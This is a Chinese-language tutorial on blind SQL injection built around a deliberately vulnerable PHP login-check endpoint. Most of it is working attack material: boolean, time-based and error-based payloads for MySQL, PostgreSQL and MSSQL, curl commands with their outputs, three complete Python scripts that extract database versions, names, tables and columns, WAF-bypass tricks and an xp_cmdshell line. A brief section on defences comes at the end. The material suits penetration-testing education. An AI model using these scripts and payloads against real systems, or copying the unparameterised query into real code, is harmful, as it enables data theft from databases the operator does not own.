一、盲注的定义
盲注(Blind SQL Injection) 是指注入后页面没有直接显示数据库返回的数据,但仍然存在可被观察的信号,让攻击者通过"猜"的方式获取数据。三种主流技术:布尔盲注(页面真假差异)、时间盲注(Sleep延时判断)、报错注入(利用错误信息泄露)。
二、靶场场景设置
2.1 存在漏洞的登录检查接口
<?php
$username = $_GET['username'];
$conn = new mysqli('localhost', 'root', 'root', 'shop');
$sql = "SELECT * FROM users WHERE username = '" . $username . "'";
$result = $conn->query($sql);
if ($result && $result->num_rows > 0) {
echo "USER_EXISTS";
} else {
echo "USER_NOT_FOUND";
}
// 没有任何错误信息返回!
三、布尔盲注
3.1 核心原理
把注入语句构造成条件判断语句,利用条件为真/假时页面表现不同来判断条件是否成立。
3.2 注入 payload 分析
# 注入永真条件
curl "http://192.168.1.100/api/check_user.php?username=admin' AND '1'='1"
# USER_EXISTS — 真条件
curl "http://192.168.1.100/api/check_user.php?username=admin' AND '1'='2"
# USER_NOT_FOUND — 假条件
# LIMIT 确保逻辑可控
curl "http://192.168.1.100/api/check_user.php?username=admin' AND (SELECT COUNT(*) FROM users LIMIT 1) > 0-- -"
# USER_EXISTS
curl "http://192.168.1.100/api/check_user.php?username=admin' AND (SELECT COUNT(*) FROM users LIMIT 1) > 999999999-- -"
# USER_NOT_FOUND
3.3 猜解策略:二分查找 vs 逐位爆破
逐位爆破(ASCII 轮询):
# 猜第 1 个字符(ASCII 97='a', 98='b', ... 直到 115='s')
for code in $(seq 97 122); do
result=$(curl -s "http://192.168.1.100/api/check_user.php?username=admin' AND ASCII(SUBSTRING(DATABASE(),1,1))=$code-- -")
if [ "$result" = "USER_EXISTS" ]; then
echo "第1位: $(printf '\\x%02x' $code)"
break
fi
done
二分查找(推荐)——最多 7 次请求确定一个 ASCII 字符:
def guess_char(url, pos):
low, high = 32, 126
while low <= high:
mid = (low + high) // 2
payload = f"admin' AND ASCII(SUBSTRING(DATABASE(),{pos},1))>={mid}-- -"
r = requests.get(url, params={'username': payload})
if 'USER_EXISTS' in r.text:
low = mid + 1
else:
high = mid - 1
if high >= 32:
return chr(high)
return None
# 猜数据库名
for pos in range(1, 20):
ch = guess_char("http://192.168.1.100/api/check_user.php", pos)
if ch is None:
break
print(ch, end='', flush=True)
print()
3.4 完整布尔盲注脚本
#!/usr/bin/env python3
"""布尔盲注自动化脚本 - 仅用于授权渗透测试"""
import requests
import time
import sys
class BooleanBlind:
def __init__(self, url, true_marker="USER_EXISTS"):
self.url = url
self.true_marker = true_marker
self.session = requests.Session()
self.stats = {'requests': 0, 'start': time.time()}
def query_true(self, condition):
payload = f"admin' AND ({condition})-- -"
r = self.session.get(self.url, params={'username': payload})
self.stats['requests'] += 1
return self.true_marker in r.text
def guess_char(self, sql_expr, pos):
if not self.query_true(f"ASCII(SUBSTRING(({sql_expr}),{pos},1)) IS NOT NULL"):
return None
low, high = 32, 126
while low <= high:
mid = (low + high) // 2
if self.query_true(f"ASCII(SUBSTRING(({sql_expr}),{pos},1))>={mid}"):
low = mid + 1
else:
high = mid - 1
return chr(high) if high >= 32 else '?'
def extract_string(self, sql_expr, max_len=128):
result = []
for pos in range(1, max_len + 1):
ch = self.guess_char(sql_expr, pos)
if ch is None:
break
result.append(ch)
print(ch, end='', flush=True)
print()
return ''.join(result)
def extract_number(self, sql_expr, low=0, high=1000):
while low <= high:
mid = (low + high) // 2
if self.query_true(f"({sql_expr})>={mid}"):
low = mid + 1
else:
high = mid - 1
return high
def run(self):
print("[*] === 布尔盲注渗透 ===")
print("[*] 版本: ", end='')
version = self.extract_string("SELECT @@version")
print("[*] 数据库: ", end='')
db = self.extract_string("SELECT database()")
table_count = self.extract_number(
"SELECT COUNT(*) FROM information_schema.tables WHERE table_schema=database()",
low=0, high=50
)
print(f"[*] 表数量: {table_count}")
for i in range(table_count):
print(f"[*] 表{i+1}名称: ", end='')
table_expr = f"SELECT table_name FROM information_schema.tables WHERE table_schema=database() LIMIT {i},1"
table_name = self.extract_string(table_expr)
col_count = self.extract_number(
f"SELECT COUNT(*) FROM information_schema.columns WHERE table_schema=database() AND table_name='{table_name}'",
low=0, high=30
)
for j in range(col_count):
col_expr = f"SELECT column_name FROM information_schema.columns WHERE table_schema=database() AND table_name='{table_name}' LIMIT {j},1"
col_name = self.extract_string(col_expr)
print(f" 列: {col_name}")
elapsed = time.time() - self.stats['start']
print(f"[+] 完成!{self.stats['requests']} 请求, {elapsed:.1f}s")
if __name__ == '__main__':
url = sys.argv[1]
blind = BooleanBlind(url)
blind.run()
3.5 布尔盲注绕过技巧
双写绕过(有些 WAF 只替换一次):
admin' ANANDD 1=1-- -
admin' OORR 1=1-- -
用 + 代替空格(URL 编码后):
username=admin'+AND+1=1--+-
用括号代替空格:
admin'AND(1=1)-- -
绕过引号过滤(用 CHAR 和 CONCAT):
admin' AND username=CHAR(97,100,109,105,110)-- -
admin' AND username=0x61646d696e-- -
四、时间盲注
4.1 核心原理
当页面返回内容完全相同但响应时间可控时,用 SLEEP() 或类似延时函数传递布尔信息。
4.2 不同数据库的延时函数
| 数据库 | 函数 | 示例 |
|---|---|---|
| MySQL | SLEEP(N) / BENCHMARK(N, expr) |
SLEEP(3) |
| PostgreSQL | pg_sleep(N) |
pg_sleep(3) |
| MSSQL | WAITFOR DELAY '0:0:N' |
WAITFOR DELAY '0:0:3' |
| Oracle | DBMS_LOCK.SLEEP(N) |
DBMS_LOCK.SLEEP(3) |
4.3 条件延时 payload
# MySQL:条件延时
time curl -s "http://192.168.1.100/api/check_user.php?username=admin' AND SLEEP(3)-- -"
# real 0m3.2s — 延时被触发
# MySQL:IF 函数
time curl -s "http://192.168.1.100/api/check_user.php?username=admin' AND IF(username='admin', SLEEP(3), 0)-- -"
# real 0m3.2s — admin 用户存在
# PostgreSQL
time curl -s "http://192.168.1.100/api/check_user.php?username=admin' AND CASE WHEN current_user='postgres' THEN pg_sleep(3) ELSE pg_sleep(0) END-- -"
4.4 时间盲注脚本
#!/usr/bin/env python3
"""时间盲注脚本 - 仅用于授权渗透测试"""
import requests
import time
import sys
class TimeBlind:
def __init__(self, url, sleep_time=3):
self.url = url
self.sleep_time = sleep_time
self.session = requests.Session()
self.stats = {'requests': 0, 'start': time.time()}
def query_true(self, condition):
payload = f"admin' AND ({condition}) AND SLEEP({self.sleep_time})-- -"
start = time.time()
r = self.session.get(self.url, params={'username': payload})
elapsed = time.time() - start
self.stats['requests'] += 1
return elapsed > self.sleep_time * 0.7
def guess_char(self, sql_expr, pos):
if not self.query_true(f"ASCII(SUBSTRING(({sql_expr}),{pos},1)) IS NOT NULL"):
return None
low, high = 32, 126
while low <= high:
mid = (low + high) // 2
if self.query_true(f"ASCII(SUBSTRING(({sql_expr}),{pos},1))>={mid}"):
low = mid + 1
else:
high = mid - 1
return chr(high) if high >= 32 else '?'
def extract_string(self, sql_expr, max_len=64):
result = []
for pos in range(1, max_len + 1):
ch = self.guess_char(sql_expr, pos)
if ch is None:
break
result.append(ch)
print(ch, end='', flush=True)
print()
return ''.join(result)
def run(self):
print("[*] === 时间盲注渗透 ===")
print("[*] 版本: ", end='')
version = self.extract_string("SELECT @@version")
print("[*] 数据库: ", end='')
db = self.extract_string("SELECT database()")
elapsed = time.time() - self.stats['start']
print(f"[+] 完成!{self.stats['requests']} 请求, {elapsed:.1f}s")
if __name__ == '__main__':
blind = TimeBlind(sys.argv[1])
blind.run()
五、报错注入
5.1 核心原理
当页面显示数据库错误信息时,利用某些 SQL 函数的特性让目标数据"塞"到错误信息里泄露。
5.2 MySQL 五大报错函数详解
1) updatexml(版本 5.1+)
UPDATEXML(xml_target, xpath_expr, new_value)
-- xpath_expr 格式错误时,错误信息会显示它的值
curl "http://192.168.1.100/api/check_user.php?username=admin' AND updatexml(1,concat(0x7e,(SELECT user()),0x7e),1)-- -"
# XPATH syntax error: '~root@localhost~'
2) extractvalue(版本 5.1+)
EXTRACTVALUE(1, concat(0x7e,(SELECT database()),0x7e))
curl "http://192.168.1.100/api/check_user.php?username=admin' AND extractvalue(1,concat(0x7e,(SELECT database()),0x7e))-- -"
# XPATH syntax error: '~shop~'
3) floor + rand + group by(经典报错)
原理:rand() 和 group by 组合触发 "Duplicate entry" 错误。
SELECT count(*), concat((SELECT user()), 0x7e, floor(rand(0)*2)) x
FROM information_schema.tables GROUP BY x
curl "http://192.168.1.100/api/check_user.php?username=admin' AND (SELECT 1 FROM (SELECT count(*),concat((SELECT user()),0x7e,floor(rand(0)*2))x FROM information_schema.tables GROUP BY x)a)-- -"
# Duplicate entry 'root@localhost~0' for key 'group_key'
4) exp(溢出报错,版本 5.5.5+)
SELECT exp(~(SELECT * FROM (SELECT user())x))
5) GTID 注入(版本 5.6+)
SELECT GTID_SUBSET((SELECT version()),1)
5.3 报错注入注意事项
- 返回数据长度有限制(updatexml 约 31 字节),长数据需要 SUBSTRING 分段
- 有些函数在新版本中被限制或移除
- 错误信息必须能被攻击者看到
5.4 报错注入脚本
#!/usr/bin/env python3
"""报错注入脚本 - 仅用于授权渗透测试"""
import requests
import re
import sys
class ErrorBasedBlind:
def __init__(self, url):
self.url = url
self.session = requests.Session()
def extract_via_updatexml(self, sql_expr):
payload = f"admin' AND updatexml(1,concat(0x7e,({sql_expr}),0x7e),1)-- -"
r = self.session.get(self.url, params={'username': payload})
match = re.search(r"XPATH syntax error: '([^']+)'", r.text)
if match:
return match.group(1).replace('~', '')
return None
def extract_string(self, sql_expr, max_len=128):
result = []
offset = 1
while offset <= max_len:
chunk = self.extract_via_updatexml(
f"SELECT SUBSTRING(({sql_expr}),{offset},31)"
)
if not chunk:
break
result.append(chunk)
offset += 31
print(chunk, end='', flush=True)
print()
return ''.join(result)
def run(self):
print("[*] === 报错注入渗透 ===")
print("[*] 当前用户: ", end='')
user = self.extract_string("SELECT user()")
print("[*] 当前数据库: ", end='')
db = self.extract_string("SELECT database()")
if __name__ == '__main__':
eb = ErrorBasedBlind(sys.argv[1])
eb.run()
六、三种盲注技术对比
| 维度 | 布尔盲注 | 时间盲注 | 报错注入 |
|---|---|---|---|
| 速度 | 快(毫秒级) | 慢(秒级) | 最快(一次请求拿数据) |
| 稳定性 | 高 | 中(网络延迟干扰) | 低(依赖错误显示) |
| 适用场景 | 真假页面差异 | 完全无回显 | 有错误信息回显 |
| 被防护概率 | 低 | 中 | 高 |
| 请求数量 | O(N*7) | O(N*7) | O(N/31) |
选择策略:报错注入 > 布尔盲注 > 时间盲注。
七、PostgreSQL 特有的盲注技巧
7.1 报错注入
PostgreSQL 没有 updatexml/extractvalue,但可以用类型转换:
-- 类型转换错误
admin' AND (SELECT CAST((SELECT version()) AS int))-- -
-- invalid input syntax for type integer: "PostgreSQL 15.4..."
-- 除以零
admin' AND (SELECT 1/(SELECT 0))-- -
-- 数组越界
admin' AND (SELECT (SELECT ARRAY[1,2,3])[999])-- -
7.2 时间盲注
admin' AND CASE WHEN current_database()='shop' THEN pg_sleep(3) ELSE pg_sleep(0) END-- -
7.3 PG 的 RAISE EXCEPTION(需 PL/pgSQL 权限)
DO $$ BEGIN RAISE EXCEPTION '%', (SELECT version()); END $$;
八、SQL Server (MSSQL) 盲注技巧
8.1 报错注入
-- CONVERT 溢出
admin' AND CONVERT(int,(SELECT TOP 1 table_name FROM information_schema.tables))-- -
-- Conversion failed when converting the nvarchar value 'products' to data type int.
8.2 时间盲注
admin'; IF (SELECT TOP 1 DB_NAME())='shop' WAITFOR DELAY '0:0:3'-- -
8.3 MSSQL 的 PRINT 注入(需 xp_cmdshell)
; EXEC xp_cmdshell 'echo sqlmap_test> C:\test.txt'-- -
九、性能优化
9.1 一次判断多位(减少请求)
# 用并行请求
from concurrent.futures import ThreadPoolExecutor, as_completed
def extract_parallel(url, positions):
with ThreadPoolExecutor(max_workers=10) as pool:
futures = {pool.submit(guess_char, url, p): p for p in positions}
results = {}
for future in as_completed(futures):
results[futures[future]] = future.result()
return [results[i] for i in sorted(results.keys())]
9.2 用 REGEXP/RLIKE 缩小范围
-- 匹配范围缩小到 a-g
admin' AND SUBSTRING((SELECT user()),1,1) RLIKE '^[a-g]$'-- -
9.3 多字节同时判断
admin' AND CONCAT(SUBSTRING((SELECT user()),1,1),SUBSTRING((SELECT user()),2,1)) >= 'ro'-- -
十、防御盲注
10.1 关闭错误回显
ini_set('display_errors', 'Off');
ini_set('log_errors', 'On');
error_reporting(E_ALL);
set_error_handler(function($errno, $errstr) {
error_log("Error [$errno]: $errstr");
return true;
});
10.2 限制响应时间
set_time_limit(10);
ini_set('max_execution_time', 10);
// MySQL 查询超时
$conn->query("SET SESSION max_execution_time = 10000");
10.3 WAF 检测
检测 SLEEP/BENCHMARK/WAITFOR DELAY 延时函数,updatexml/extractvalue/floor 报错函数。
10.4 随机响应延迟(反制时间盲注)
usleep(random_int(0, 500000)); // 0-500ms 随机延迟
10.5 页面统一化
让真假条件返回完全相同的页面,只在后端日志中区分。
盲注是攻防对抗中最常见的场景。只要还存在一点点可观察的差异——无论真假页面、响应时间还是错误碎片——就存在被盲注的可能。防御的核心是:消除所有可被观察的差异,加上严格的输入验证和预编译。